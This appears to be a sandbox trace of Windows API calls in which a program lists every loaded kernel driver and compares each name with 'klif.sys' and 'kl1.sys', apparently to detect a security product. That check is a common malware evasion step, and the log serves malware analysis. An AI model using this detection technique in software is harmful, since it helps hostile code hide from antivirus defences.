	[0082.062] lstrcmpiW (lpString1="mouhid.sys", lpString2="klif.sys") returned 1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0xe7bb0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mouclass.sys") returned 0xc
	[0082.062] lstrcmpiW (lpString1="mouclass.sys", lpString2="klif.sys") returned 1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0xe7be0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="dump_diskdump.sys") returned 0x11
	[0082.062] lstrcmpiW (lpString1="dump_diskdump.sys", lpString2="klif.sys") returned -1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c20000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="dump_storahci.sys") returned 0x11
	[0082.062] lstrcmpiW (lpString1="dump_storahci.sys", lpString2="klif.sys") returned -1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c70000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="dump_dumpfve.sys") returned 0x10
	[0082.062] lstrcmpiW (lpString1="dump_dumpfve.sys", lpString2="klif.sys") returned -1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0x12720000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="win32k.sys") returned 0xa
	[0082.062] lstrcmpiW (lpString1="win32k.sys", lpString2="klif.sys") returned 1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0x12000000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="win32kfull.sys") returned 0xe
	[0082.062] lstrcmpiW (lpString1="win32kfull.sys", lpString2="klif.sys") returned 1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0x12390000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="win32kbase.sys") returned 0xe
	[0082.062] lstrcmpiW (lpString1="win32kbase.sys", lpString2="klif.sys") returned 1
	[0082.062] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c90000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="monitor.sys") returned 0xb
	[0082.063] lstrcmpiW (lpString1="monitor.sys", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ca0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="dxgmms2.sys") returned 0xb
	[0082.063] lstrcmpiW (lpString1="dxgmms2.sys", lpString2="klif.sys") returned -1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0x124f0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="TSDDD.dll") returned 0x9
	[0082.063] lstrcmpiW (lpString1="TSDDD.dll", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0x12500000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="cdd.dll") returned 0x7
	[0082.063] lstrcmpiW (lpString1="cdd.dll", lpString2="klif.sys") returned -1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d20000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="luafv.sys") returned 0x9
	[0082.063] lstrcmpiW (lpString1="luafv.sys", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d50000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="storqosflt.sys") returned 0xe
	[0082.063] lstrcmpiW (lpString1="storqosflt.sys", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d70000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="lltdio.sys") returned 0xa
	[0082.063] lstrcmpiW (lpString1="lltdio.sys", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d90000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="rspndr.sys") returned 0xa
	[0082.063] lstrcmpiW (lpString1="rspndr.sys", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe7db0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mslldp.sys") returned 0xa
	[0082.063] lstrcmpiW (lpString1="mslldp.sys", lpString2="klif.sys") returned 1
	[0082.063] GetDeviceDriverBaseNameW (in: ImageBase=0xe6f50000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="HTTP.sys") returned 0x8
	[0082.064] lstrcmpiW (lpString1="HTTP.sys", lpString2="klif.sys") returned -1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe7640000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WudfPf.sys") returned 0xa
	[0082.064] lstrcmpiW (lpString1="WudfPf.sys", lpString2="klif.sys") returned 1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe7930000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="bowser.sys") returned 0xa
	[0082.064] lstrcmpiW (lpString1="bowser.sys", lpString2="klif.sys") returned -1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe6ba0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mrxsmb.sys") returned 0xa
	[0082.064] lstrcmpiW (lpString1="mrxsmb.sys", lpString2="klif.sys") returned 1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe7960000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mrxsmb20.sys") returned 0xc
	[0082.064] lstrcmpiW (lpString1="mrxsmb20.sys", lpString2="klif.sys") returned 1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe81e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mpsdrv.sys") returned 0xa
	[0082.064] lstrcmpiW (lpString1="mpsdrv.sys", lpString2="klif.sys") returned 1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe6c10000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="srvnet.sys") returned 0xa
	[0082.064] lstrcmpiW (lpString1="srvnet.sys", lpString2="klif.sys") returned 1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe6c60000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="srv2.sys") returned 0x8
	[0082.064] lstrcmpiW (lpString1="srv2.sys", lpString2="klif.sys") returned 1
	[0082.064] GetDeviceDriverBaseNameW (in: ImageBase=0xe6d10000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mmcss.sys") returned 0x9
	[0082.065] lstrcmpiW (lpString1="mmcss.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8e00000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mrxsmb10.sys") returned 0xc
	[0082.065] lstrcmpiW (lpString1="mrxsmb10.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8e50000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Ndu.sys") returned 0x7
	[0082.065] lstrcmpiW (lpString1="Ndu.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8e80000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="peauth.sys") returned 0xa
	[0082.065] lstrcmpiW (lpString1="peauth.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8f40000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="srv.sys") returned 0x7
	[0082.065] lstrcmpiW (lpString1="srv.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8fd0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="tcpipreg.sys") returned 0xc
	[0082.065] lstrcmpiW (lpString1="tcpipreg.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8400000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WdNisDrv.sys") returned 0xc
	[0082.065] lstrcmpiW (lpString1="WdNisDrv.sys", lpString2="klif.sys") returned 1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8460000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="condrv.sys") returned 0xa
	[0082.065] lstrcmpiW (lpString1="condrv.sys", lpString2="klif.sys") returned -1
	[0082.065] GetDeviceDriverBaseNameW (in: ImageBase=0xe8480000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="e1i63x64.sys") returned 0xc
	[0082.065] lstrcmpiW (lpString1="e1i63x64.sys", lpString2="klif.sys") returned -1
	[0082.066] GetDeviceDriverBaseNameW (in: ImageBase=0xe8530000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="tunnel.sys") returned 0xa
	[0082.066] lstrcmpiW (lpString1="tunnel.sys", lpString2="klif.sys") returned 1
	[0082.066] VirtualFree (lpAddress=0xe50000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.066] EnumDeviceDrivers (in: lpImageBase=0x19fe74, cb=0x4, lpcbNeeded=0x19fe78 | out: lpImageBase=0x19fe74*=0xc1c05000, lpcbNeeded=0x19fe78) returned 1
	[0082.066] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe50000
	[0082.066] EnumDeviceDrivers (in: lpImageBase=0xe50000, cb=0x22c, lpcbNeeded=0x19fe74 | out: lpImageBase=0xe50000*=0xc1c05000, lpcbNeeded=0x19fe74) returned 1
	[0082.066] GetDeviceDriverBaseNameW (in: ImageBase=0xc1c05000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ntoskrnl.exe") returned 0xc
	[0082.066] lstrcmpiW (lpString1="ntoskrnl.exe", lpString2="kl1.sys") returned 1
	[0082.066] GetDeviceDriverBaseNameW (in: ImageBase=0xc2457000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="hal.dll") returned 0x7
	[0082.066] lstrcmpiW (lpString1="hal.dll", lpString2="kl1.sys") returned -1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xc0d36000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="kd.dll") returned 0x6
	[0082.067] lstrcmpiW (lpString1="kd.dll", lpString2="kl1.sys") returned -1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe6d30000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="mcupdate_GenuineIntel.dll") returned 0x19
	[0082.067] lstrcmpiW (lpString1="mcupdate_GenuineIntel.dll", lpString2="kl1.sys") returned 1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe6dc0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="werkernel.sys") returned 0xd
	[0082.067] lstrcmpiW (lpString1="werkernel.sys", lpString2="kl1.sys") returned 1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e00000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="CLFS.SYS") returned 0x8
	[0082.067] lstrcmpiW (lpString1="CLFS.SYS", lpString2="kl1.sys") returned -1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e70000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="tm.sys") returned 0x6
	[0082.067] lstrcmpiW (lpString1="tm.sys", lpString2="kl1.sys") returned 1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ea0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="PSHED.dll") returned 0x9
	[0082.067] lstrcmpiW (lpString1="PSHED.dll", lpString2="kl1.sys") returned 1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ec0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="BOOTVID.dll") returned 0xb
	[0082.067] lstrcmpiW (lpString1="BOOTVID.dll", lpString2="kl1.sys") returned -1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ed0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="cmimcext.sys") returned 0xc
	[0082.067] lstrcmpiW (lpString1="cmimcext.sys", lpString2="kl1.sys") returned -1
	[0082.067] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ee0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ntosext.sys") returned 0xb
	[0082.068] lstrcmpiW (lpString1="ntosext.sys", lpString2="kl1.sys") returned 1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ef0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="CI.dll") returned 0x6
	[0082.068] lstrcmpiW (lpString1="CI.dll", lpString2="kl1.sys") returned -1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe5f90000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="msrpc.sys") returned 0x9
	[0082.068] lstrcmpiW (lpString1="msrpc.sys", lpString2="kl1.sys") returned 1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ff0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="FLTMGR.SYS") returned 0xa
	[0082.068] lstrcmpiW (lpString1="FLTMGR.SYS", lpString2="kl1.sys") returned -1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe6060000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ksecdd.sys") returned 0xa
	[0082.068] lstrcmpiW (lpString1="ksecdd.sys", lpString2="kl1.sys") returned 1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe6090000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="clipsp.sys") returned 0xa
	[0082.068] lstrcmpiW (lpString1="clipsp.sys", lpString2="kl1.sys") returned -1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe6130000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Wdf01000.sys") returned 0xc
	[0082.068] lstrcmpiW (lpString1="Wdf01000.sys", lpString2="kl1.sys") returned 1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe6210000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="WDFLDR.SYS") returned 0xa
	[0082.068] lstrcmpiW (lpString1="WDFLDR.SYS", lpString2="kl1.sys") returned 1
	[0082.068] GetDeviceDriverBaseNameW (in: ImageBase=0xe6230000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="acpiex.sys") returned 0xa
	[0082.068] lstrcmpiW (lpString1="acpiex.sys", lpString2="kl1.sys") returned -1
	[0082.069] GetDeviceDriverBaseNameW (in: ImageBase=0xe6260000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="WppRecorder.sys") returned 0xf
	[0082.069] lstrcmpiW (lpString1="WppRecorder.sys", lpString2="kl1.sys") returned 1
	[0082.069] GetDeviceDriverBaseNameW (in: ImageBase=0xe6270000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="cng.sys") returned 0x7
	[0082.069] lstrcmpiW (lpString1="cng.sys", lpString2="kl1.sys") returned -1
	[0082.069] GetDeviceDriverBaseNameW (in: ImageBase=0xe6310000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ACPI.sys") returned 0x8
	[0082.069] lstrcmpiW (lpString1="ACPI.sys", lpString2="kl1.sys") returned -1
	[0082.069] GetDeviceDriverBaseNameW (in: ImageBase=0xe63a0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="WMILIB.SYS") returned 0xa
	[0082.069] lstrcmpiW (lpString1="WMILIB.SYS", lpString2="kl1.sys") returned 1
	[0082.069] GetDeviceDriverBaseNameW (in: ImageBase=0xe63b0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="WindowsTrustedRT.sys") returned 0x14
	[0082.069] lstrcmpiW (lpString1="WindowsTrustedRT.sys", lpString2="kl1.sys") returned 1
	[0082.069] GetDeviceDriverBaseNameW (in: ImageBase=0xe63d0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="WindowsTrustedRTProxy.sys") returned 0x19
	[0082.070] lstrcmpiW (lpString1="WindowsTrustedRTProxy.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe63e0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="pcw.sys") returned 0x7
	[0082.070] lstrcmpiW (lpString1="pcw.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe6400000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="msisadrv.sys") returned 0xc
	[0082.070] lstrcmpiW (lpString1="msisadrv.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe6410000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="pci.sys") returned 0x7
	[0082.070] lstrcmpiW (lpString1="pci.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe6470000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="vdrvroot.sys") returned 0xc
	[0082.070] lstrcmpiW (lpString1="vdrvroot.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe6480000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="pdc.sys") returned 0x7
	[0082.070] lstrcmpiW (lpString1="pdc.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe64a0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="CEA.sys") returned 0x7
	[0082.070] lstrcmpiW (lpString1="CEA.sys", lpString2="kl1.sys") returned -1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe64c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="partmgr.sys") returned 0xb
	[0082.070] lstrcmpiW (lpString1="partmgr.sys", lpString2="kl1.sys") returned 1
	[0082.070] GetDeviceDriverBaseNameW (in: ImageBase=0xe64f0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="spaceport.sys") returned 0xd
	[0082.071] lstrcmpiW (lpString1="spaceport.sys", lpString2="kl1.sys") returned 1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe6570000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="volmgr.sys") returned 0xa
	[0082.071] lstrcmpiW (lpString1="volmgr.sys", lpString2="kl1.sys") returned 1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe6590000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="volmgrx.sys") returned 0xb
	[0082.071] lstrcmpiW (lpString1="volmgrx.sys", lpString2="kl1.sys") returned 1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe65f0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="mountmgr.sys") returned 0xc
	[0082.071] lstrcmpiW (lpString1="mountmgr.sys", lpString2="kl1.sys") returned 1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe6610000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="storahci.sys") returned 0xc
	[0082.071] lstrcmpiW (lpString1="storahci.sys", lpString2="kl1.sys") returned 1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe6640000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="storport.sys") returned 0xc
	[0082.071] lstrcmpiW (lpString1="storport.sys", lpString2="kl1.sys") returned 1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe66c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="EhStorClass.sys") returned 0xf
	[0082.071] lstrcmpiW (lpString1="EhStorClass.sys", lpString2="kl1.sys") returned -1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe66e0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="fileinfo.sys") returned 0xc
	[0082.071] lstrcmpiW (lpString1="fileinfo.sys", lpString2="kl1.sys") returned -1
	[0082.071] GetDeviceDriverBaseNameW (in: ImageBase=0xe6700000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Wof.sys") returned 0x7
	[0082.072] lstrcmpiW (lpString1="Wof.sys", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe6740000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="WdFilter.sys") returned 0xc
	[0082.072] lstrcmpiW (lpString1="WdFilter.sys", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe6790000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="NTFS.sys") returned 0x8
	[0082.072] lstrcmpiW (lpString1="NTFS.sys", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe69b0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Fs_Rec.sys") returned 0xa
	[0082.072] lstrcmpiW (lpString1="Fs_Rec.sys", lpString2="kl1.sys") returned -1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe69c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ndis.sys") returned 0x8
	[0082.072] lstrcmpiW (lpString1="ndis.sys", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe6af0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="NETIO.SYS") returned 0x9
	[0082.072] lstrcmpiW (lpString1="NETIO.SYS", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe6b70000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ksecpkg.sys") returned 0xb
	[0082.072] lstrcmpiW (lpString1="ksecpkg.sys", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe7de0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="tcpip.sys") returned 0x9
	[0082.072] lstrcmpiW (lpString1="tcpip.sys", lpString2="kl1.sys") returned 1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe8040000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="fwpkclnt.sys") returned 0xc
	[0082.072] lstrcmpiW (lpString1="fwpkclnt.sys", lpString2="kl1.sys") returned -1
	[0082.072] GetDeviceDriverBaseNameW (in: ImageBase=0xe80b0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="wfplwfs.sys") returned 0xb
	[0082.073] lstrcmpiW (lpString1="wfplwfs.sys", lpString2="kl1.sys") returned 1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe80e0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="fvevol.sys") returned 0xa
	[0082.073] lstrcmpiW (lpString1="fvevol.sys", lpString2="kl1.sys") returned -1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe8180000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="volsnap.sys") returned 0xb
	[0082.073] lstrcmpiW (lpString1="volsnap.sys", lpString2="kl1.sys") returned 1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e00000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="rdyboost.sys") returned 0xc
	[0082.073] lstrcmpiW (lpString1="rdyboost.sys", lpString2="kl1.sys") returned 1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e50000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="mup.sys") returned 0x7
	[0082.073] lstrcmpiW (lpString1="mup.sys", lpString2="kl1.sys") returned 1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e90000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="disk.sys") returned 0x8
	[0082.073] lstrcmpiW (lpString1="disk.sys", lpString2="kl1.sys") returned -1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe6eb0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="CLASSPNP.SYS") returned 0xc
	[0082.073] lstrcmpiW (lpString1="CLASSPNP.SYS", lpString2="kl1.sys") returned -1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe6f30000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="crashdmp.sys") returned 0xc
	[0082.073] lstrcmpiW (lpString1="crashdmp.sys", lpString2="kl1.sys") returned -1
	[0082.073] GetDeviceDriverBaseNameW (in: ImageBase=0xe7050000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="filecrypt.sys") returned 0xd
	[0082.074] lstrcmpiW (lpString1="filecrypt.sys", lpString2="kl1.sys") returned -1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe7070000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="tbs.sys") returned 0x7
	[0082.074] lstrcmpiW (lpString1="tbs.sys", lpString2="kl1.sys") returned 1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe7080000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Null.SYS") returned 0x8
	[0082.074] lstrcmpiW (lpString1="Null.SYS", lpString2="kl1.sys") returned 1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe7090000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Beep.SYS") returned 0x8
	[0082.074] lstrcmpiW (lpString1="Beep.SYS", lpString2="kl1.sys") returned -1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe70a0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="BasicDisplay.sys") returned 0x10
	[0082.074] lstrcmpiW (lpString1="BasicDisplay.sys", lpString2="kl1.sys") returned -1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe70c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="watchdog.sys") returned 0xc
	[0082.074] lstrcmpiW (lpString1="watchdog.sys", lpString2="kl1.sys") returned 1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe70e0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="dxgkrnl.sys") returned 0xb
	[0082.074] lstrcmpiW (lpString1="dxgkrnl.sys", lpString2="kl1.sys") returned -1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe72d0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="BasicRender.sys") returned 0xf
	[0082.074] lstrcmpiW (lpString1="BasicRender.sys", lpString2="kl1.sys") returned -1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe72f0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Npfs.SYS") returned 0x8
	[0082.074] lstrcmpiW (lpString1="Npfs.SYS", lpString2="kl1.sys") returned 1
	[0082.074] GetDeviceDriverBaseNameW (in: ImageBase=0xe7310000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Msfs.SYS") returned 0x8
	[0082.075] lstrcmpiW (lpString1="Msfs.SYS", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe7320000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="tdx.sys") returned 0x7
	[0082.075] lstrcmpiW (lpString1="tdx.sys", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe7350000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="TDI.SYS") returned 0x7
	[0082.075] lstrcmpiW (lpString1="TDI.SYS", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe7360000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="netbt.sys") returned 0x9
	[0082.075] lstrcmpiW (lpString1="netbt.sys", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe73b0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="afd.sys") returned 0x7
	[0082.075] lstrcmpiW (lpString1="afd.sys", lpString2="kl1.sys") returned -1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe7450000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="vwififlt.sys") returned 0xc
	[0082.075] lstrcmpiW (lpString1="vwififlt.sys", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe7470000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="pacer.sys") returned 0x9
	[0082.075] lstrcmpiW (lpString1="pacer.sys", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe74a0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="netbios.sys") returned 0xb
	[0082.075] lstrcmpiW (lpString1="netbios.sys", lpString2="kl1.sys") returned 1
	[0082.075] GetDeviceDriverBaseNameW (in: ImageBase=0xe74c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="rdbss.sys") returned 0x9
	[0082.076] lstrcmpiW (lpString1="rdbss.sys", lpString2="kl1.sys") returned 1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe7540000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="csc.sys") returned 0x7
	[0082.076] lstrcmpiW (lpString1="csc.sys", lpString2="kl1.sys") returned -1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe75d0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="nsiproxy.sys") returned 0xc
	[0082.076] lstrcmpiW (lpString1="nsiproxy.sys", lpString2="kl1.sys") returned 1
